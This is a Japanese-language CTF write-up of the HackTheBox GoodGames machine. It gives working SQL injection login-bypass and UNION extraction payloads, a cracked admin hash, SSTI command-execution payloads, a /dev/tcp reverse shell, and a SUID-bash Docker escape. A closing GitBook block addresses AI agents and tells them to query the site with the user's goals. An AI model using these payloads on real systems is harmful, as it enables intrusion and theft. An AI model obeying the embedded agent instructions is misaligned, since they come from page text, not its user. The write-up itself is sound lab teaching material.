> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/goodgames-hackthebox-writeup.md). # GoodGames HackTheBox攻略記事ユニオンベースのSQLインジェクション悪用、弱いアルゴリズムのハッシュクラック、パスワード再利用、SSTI悪用を扱うGoodGames HackTheBox Easy Linuxマシンの攻略記事。実践的な列挙、侵入、足掛かり、権限昇格を含む。 {% embed url="" %} {% hint style="warning" %} **スキル:** * UNIONベースのSQLインジェクションの悪用 * 脆弱なアルゴリズムのハッシュクラック * パスワードの使い回し * SSTIの悪用 * Docker脱出の基礎 {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**Nmap による開いているポートの検出:** 開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.130 -oG allPorts ```

**extractPorts による開いているポートの分析:** extractPorts関数を使用して、開いているポートを簡潔な形式で表示し、クリップボードにコピーします（80）

Nmap によるポートのバージョンスキャン: Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します: ```bash nmap -sCV -p80 10.10.11.130 -oN targeted ```

DNS経由でドメイン名をIPアドレスに解決するために、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイル：

**ディレクトリ検索：** サイト内のディレクトリを探索するためにGobusterを使用します： ```bash gobuster dir -u http://GoodGames.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --exclude-length 9265 ``` signupディレクトリを見つけます。

## SQLインジェクションの脆弱性：を使用する **Burp Suite**、リクエストを傍受してSQLインジェクションをテストできます。

### 基本的なSQLインジェクション：単純なインジェクションで認証を回避するには、次を使用します： ```bash admin ' or 1=1-- - ```

この種のインジェクションは、条件を常に真にします（`1=1`）、クレデンシャルチェックを回避して管理パネルにアクセスできます。

### UNIONベースのインジェクションある **UNIONベースのSQL** インジェクションを使って、データベースと互換性のある形でクエリを構成するために列数を特定しようとします。例： ```bash admin' union select 1,2,3,4-- - ``` サーバーは「ログイン成功」を示す応答を返し、4列あることがわかります。

#### データベースを一覧表示現在のデータベース名を一覧表示するには、次を使用します： ```bash admin' union select 1,2,3,database()-- -&password=admin ```

次に、利用可能なすべてのデータベースを取得します： {% code overflow="wrap" %} ```sql admin' union select 1,2,3,group_concat(schema_name) from information_schema.schemata-- -&password=admin ``` {% endcode %} 結果: `information_schema`, `main`

#### テーブルを一覧表示データベースを特定した後、 `main` 保存されている構造を調べるために、このデータベース内のテーブルを一覧表示します： {% code overflow="wrap" %} ```sql admin' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='main'-- - ``` {% endcode %} 見つかったテーブル： `blog`, `blog_comments`, `users`.

テーブルの列を一覧表示その `users` テーブルで、利用可能な列を一覧表示します： {% code overflow="wrap" %} ```sql admin' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='main' and table_name='user' -- - ``` {% endcode %} 見つかった列: `email`, `id`, `name`, `パスワード`.

#### ユーザーデータの抽出その後、 `users` テーブル: {% code overflow="wrap" %} ```sql admin' union select 1,2,3,group_concat(name,':',email,':',password) from main.user -- - ``` {% endcode %} ユーザー： `Admin` メールアドレス： `admin@goodgames.htb` パスワード（ハッシュ）： `2b22337f218b2d82dfc3b6f77e7cb8ec`

### パスワードの復号次を使用できます **CrackStation** 取得したMD5ハッシュを解読して、平文のパスワードを復元できます。 {% embed url="" %}

## SSTI脆弱性： ### サブドメインへのアクセス見つかった管理用サブドメインにアクセスするには、これを `/etc/hosts` ファイルに存在するユーザーに対して試します。

最後に、 **admin** 認証情報を使って、このサブドメインで認証できます。 `admin:superadministrator`

サブドメインには **設定** タブがあり、管理者ユーザー情報（氏名、生年月日、電話番号）を編集できます。

「フルネーム」フォームでSSTI攻撃を実行しようとすると、サーバーに脆弱性があります。これをテストするために `{{ }}`、計算式を解釈するか試してみましょう： ```python {{1+1}} ```

次に、コマンドを実行します（たとえば、 `id`): ```python {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} ``` 彼がいるのは `root` グループ。

サーバーにアクセスするためにリバースシェルを作成します ```python {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"').read() }} ``` 攻撃用マシンで443番ポートを待ち受けます： ```bash nc -nlvp 443 ```

### **フラグ：user.txt** :)

## 権限昇格： Linuxサーバーにアクセスしたら、ターミナルで処理するために実行するコマンドは次のとおりです： ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` これにより、より効率的に、そして何よりも快適に作業できます。 ### Docker脱出： IPアドレスがマシンのものではないことがわかります（マシンIP: 10.10.11.130; DockerコンテナIP: 172.19.0.2）。

ポートは手動でスキャンします。というのも、 `nmap` ゲートウェイ（172.19.0.1）にはインストールされていないからです： ```bash for PORT in {0..1000}; do timeout 1 bash -c "/dev/null" 2>/dev/null && echo "port $PORT is open"; done ``` 22番ポートが（内部的に）開いていることがわかるので、SSHで接続できます。 ```bash for PORT in {0..1000}; do timeout 1 bash -c "/dev/null" 2>/dev/null && echo "port $PORT is open"; done ```

rootアカウントでパスワードを使ってログインしようとすると `superadministrator` ログインできませんが、 `augustus` シェルを取得できます。

### DockerからのBash SUID Dockerコンテナ内ではrootなので、マシンの通常ホストからbashバイナリを、～のホームディレクトリへコピーします `augustus`: ``` cp /bin/bash . ```

Dockerのrootから、このbashファイルにrootグループとSUID権限を付与し、rootとして実行されるようにします： ```bash chown root:root bash chmod 4777 bash ``` SSHに戻ると、次のように表示されます： `-rwsrwxrwx 1 root root 1234376 Oct 28 11:35 bash`

### **ルートフラグを取得しました :)** `./bash -p`

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/goodgames-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.